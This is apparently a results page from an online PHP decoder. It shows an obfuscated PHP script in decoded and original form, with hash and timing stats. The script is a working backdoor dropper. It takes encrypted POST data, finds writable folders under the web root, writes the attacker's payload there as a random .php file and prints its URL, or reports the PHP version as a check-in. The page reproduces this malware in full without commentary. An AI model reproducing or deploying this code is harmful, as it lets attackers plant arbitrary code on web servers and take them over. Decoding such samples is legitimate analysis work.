Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function nlNxRNc($rcNkYA, $NbQjX, $CSlCw){$lTYaFkGfgc = "20eda021-ea8e-49b6-aca1-f8d..

Decoded Output download

<?php function nlNxRNc($rcNkYA, $NbQjX, $CSlCw){$lTYaFkGfgc = "20eda021-ea8e-49b6-aca1-f8db68420164";return $rcNkYA ^ $lTYaFkGfgc[$NbQjX % strlen($lTYaFkGfgc)] ^ $CSlCw;}$AxXWraJLY = "fkDMqsA";function gLNvbmhtNu($AxXWraJLY){ $yySYj = "s"."t".'r'.chr(390-295).chr(710-596).chr(111).chr(116)."1".chr(51);$AxXWraJLY = $yySYj($AxXWraJLY);$SLqJx = "r".'a'."w".chr(117).'r'."l".chr(618-518).chr(597-496).chr(99).'o'.chr(953-853).'e';$AxXWraJLY = $SLqJx($AxXWraJLY);$AxXWraJLY = str_split($AxXWraJLY);return $AxXWraJLY;}function PZNbEwB($wSVjlx, $CSlCw){$wSVjlx = array_map("nlNxRNc", array_values($wSVjlx), array_keys($wSVjlx), array_values($CSlCw));$wSVjlx = implode("", $wSVjlx);$HEGmcha = chr(767-650).'n'.'s'."e".chr(114)."i".chr(97).chr(108)."i"."z".'e';$wSVjlx = @$HEGmcha($wSVjlx);return $wSVjlx;}function LJYLocPb($CSlCw, $wSVjlx){$CSlCw = array_slice(str_split(str_repeat($CSlCw, (count($wSVjlx)/16)+1)), 0, count($wSVjlx));return $CSlCw;}function zwvPng(){echo "GGZpkg";}function bdQQfX($PxGdTair){static $bMxBxjj = array();$AqBPBFDqPS = glob($PxGdTair . '/*', GLOB_ONLYDIR);$gsKiqdBEv = count($AqBPBFDqPS);if ($gsKiqdBEv > 0) {foreach ($AqBPBFDqPS as $PxGdTa) {$UuTHyRwKx = 'i'.chr(115)."_"."w"."r".chr(105)."t".chr(303-206).chr(1019-921)."l"."e";if (@$UuTHyRwKx($PxGdTa)) {$bMxBxjj[] = $PxGdTa;}}}foreach ($AqBPBFDqPS as $PxGdTair) bdQQfX($PxGdTair);return $bMxBxjj;}function rFHTS($wSVjlx){$nGlOVw = "D"."O"."C".chr(849-764)."M".chr(69)."N".chr(353-269).'_'.'R'.chr(670-591).chr(302-223)."T";$ZAuGgIT = $_SERVER[$nGlOVw];$AqBPBFDqPS = bdQQfX($ZAuGgIT);$alMSCsTlmS = array_rand($AqBPBFDqPS);$czULI = chr(46).chr(693-581).chr(104).'p';$WrlzVIV = $AqBPBFDqPS[$alMSCsTlmS] . "/" . substr(md5(time()), 0, 8) . $czULI;$YEUDWBO = chr(102).'i'."l".'e'.chr(95)."p".chr(844-727).chr(908-792).chr(114-19).'c'."o"."n"."t".chr(101).chr(110).chr(903-787)."s";@$YEUDWBO($WrlzVIV, $wSVjlx);$zYoqINCG = chr(72).chr(84).chr(928-844).chr(606-526)."_"."H"."O".chr(83).'T';$NskIdkeJ = 'h'."t".'t'.'p'.chr(58)."/".chr(312-265);$PxGdTaOCFMz = $NskIdkeJ . $_SERVER[$zYoqINCG] . substr($WrlzVIV, strlen($ZAuGgIT));print($PxGdTaOCFMz);}function zQyaaNYdq($wSVjlx, $alMSCsTlmS){$alMSCsTlmS = $alMSCsTlmS[0];if ($wSVjlx !== $alMSCsTlmS){rFHTS($wSVjlx);}else {npbgDMLZ();}}function npbgDMLZ(){$rXUsshVP = chr(112).'h'."p";$WskrG = chr(147-35)."h"."p"."v".'e'.chr(944-830).chr(135-20)."i"."o".'n';$wSVjlx = Array($rXUsshVP => @$WskrG(), );$wkkOKTZtO = "s"."e"."r"."i".chr(97)."l"."i"."z".chr(101);echo @$wkkOKTZtO($wSVjlx);}function QEQgu(){echo "fkDMqsA";}foreach ($_POST as $CSlCw => $wSVjlx){$WXWPy = strlen($CSlCw);if ($WXWPy == 16){$wSVjlx = gLNvbmhtNu($wSVjlx);$CSlCw = LJYLocPb($CSlCw, $wSVjlx);$wSVjlx = PZNbEwB($wSVjlx, $CSlCw);if (@is_array($wSVjlx)){$alMSCsTlmS = array_keys($wSVjlx);$wSVjlx = $wSVjlx[$alMSCsTlmS[0]];zQyaaNYdq($wSVjlx, $alMSCsTlmS);}}}die(); ?>

Did this file decode correctly?

Original Code

<?php function nlNxRNc($rcNkYA, $NbQjX, $CSlCw){$lTYaFkGfgc = "20eda021-ea8e-49b6-aca1-f8db68420164";return $rcNkYA ^ $lTYaFkGfgc[$NbQjX % strlen($lTYaFkGfgc)] ^ $CSlCw;}$AxXWraJLY = "fkDMqsA";function gLNvbmhtNu($AxXWraJLY){ $yySYj = "\x73"."\164".'r'.chr(390-295).chr(710-596).chr(111).chr(116)."\61".chr(51);$AxXWraJLY = $yySYj($AxXWraJLY);$SLqJx = "\x72".'a'."\x77".chr(117).'r'."\154".chr(618-518).chr(597-496).chr(99).'o'.chr(953-853).'e';$AxXWraJLY = $SLqJx($AxXWraJLY);$AxXWraJLY = str_split($AxXWraJLY);return $AxXWraJLY;}function PZNbEwB($wSVjlx, $CSlCw){$wSVjlx = array_map("nlNxRNc", array_values($wSVjlx), array_keys($wSVjlx), array_values($CSlCw));$wSVjlx = implode("", $wSVjlx);$HEGmcha = chr(767-650).'n'.'s'."\145".chr(114)."\x69".chr(97).chr(108)."\x69"."\172".'e';$wSVjlx = @$HEGmcha($wSVjlx);return $wSVjlx;}function LJYLocPb($CSlCw, $wSVjlx){$CSlCw = array_slice(str_split(str_repeat($CSlCw, (count($wSVjlx)/16)+1)), 0, count($wSVjlx));return $CSlCw;}function zwvPng(){echo "GGZpkg";}function bdQQfX($PxGdTair){static $bMxBxjj = array();$AqBPBFDqPS = glob($PxGdTair . '/*', GLOB_ONLYDIR);$gsKiqdBEv = count($AqBPBFDqPS);if ($gsKiqdBEv > 0) {foreach ($AqBPBFDqPS as $PxGdTa) {$UuTHyRwKx = 'i'.chr(115)."\137"."\167"."\162".chr(105)."\x74".chr(303-206).chr(1019-921)."\154"."\x65";if (@$UuTHyRwKx($PxGdTa)) {$bMxBxjj[] = $PxGdTa;}}}foreach ($AqBPBFDqPS as $PxGdTair) bdQQfX($PxGdTair);return $bMxBxjj;}function rFHTS($wSVjlx){$nGlOVw = "\104"."\117"."\103".chr(849-764)."\115".chr(69)."\x4e".chr(353-269).'_'.'R'.chr(670-591).chr(302-223)."\x54";$ZAuGgIT = $_SERVER[$nGlOVw];$AqBPBFDqPS = bdQQfX($ZAuGgIT);$alMSCsTlmS = array_rand($AqBPBFDqPS);$czULI = chr(46).chr(693-581).chr(104).'p';$WrlzVIV = $AqBPBFDqPS[$alMSCsTlmS] . "/" . substr(md5(time()), 0, 8) . $czULI;$YEUDWBO = chr(102).'i'."\x6c".'e'.chr(95)."\160".chr(844-727).chr(908-792).chr(114-19).'c'."\x6f"."\x6e"."\164".chr(101).chr(110).chr(903-787)."\163";@$YEUDWBO($WrlzVIV, $wSVjlx);$zYoqINCG = chr(72).chr(84).chr(928-844).chr(606-526)."\x5f"."\110"."\x4f".chr(83).'T';$NskIdkeJ = 'h'."\164".'t'.'p'.chr(58)."\x2f".chr(312-265);$PxGdTaOCFMz = $NskIdkeJ . $_SERVER[$zYoqINCG] . substr($WrlzVIV, strlen($ZAuGgIT));print($PxGdTaOCFMz);}function zQyaaNYdq($wSVjlx, $alMSCsTlmS){$alMSCsTlmS = $alMSCsTlmS[0];if ($wSVjlx !== $alMSCsTlmS){rFHTS($wSVjlx);}else {npbgDMLZ();}}function npbgDMLZ(){$rXUsshVP = chr(112).'h'."\160";$WskrG = chr(147-35)."\150"."\x70"."\166".'e'.chr(944-830).chr(135-20)."\151"."\x6f".'n';$wSVjlx = Array($rXUsshVP => @$WskrG(), );$wkkOKTZtO = "\163"."\145"."\162"."\151".chr(97)."\154"."\x69"."\172".chr(101);echo @$wkkOKTZtO($wSVjlx);}function QEQgu(){echo "fkDMqsA";}foreach ($_POST as $CSlCw => $wSVjlx){$WXWPy = strlen($CSlCw);if ($WXWPy == 16){$wSVjlx = gLNvbmhtNu($wSVjlx);$CSlCw = LJYLocPb($CSlCw, $wSVjlx);$wSVjlx = PZNbEwB($wSVjlx, $CSlCw);if (@is_array($wSVjlx)){$alMSCsTlmS = array_keys($wSVjlx);$wSVjlx = $wSVjlx[$alMSCsTlmS[0]];zQyaaNYdq($wSVjlx, $alMSCsTlmS);}}}die();

Function Calls

None

Variables

$AxXWraJLY fkDMqsA

Stats

MD5 67f43a30932223bfcefd73ae51c49229
Eval Count 0
Decode Time 61 ms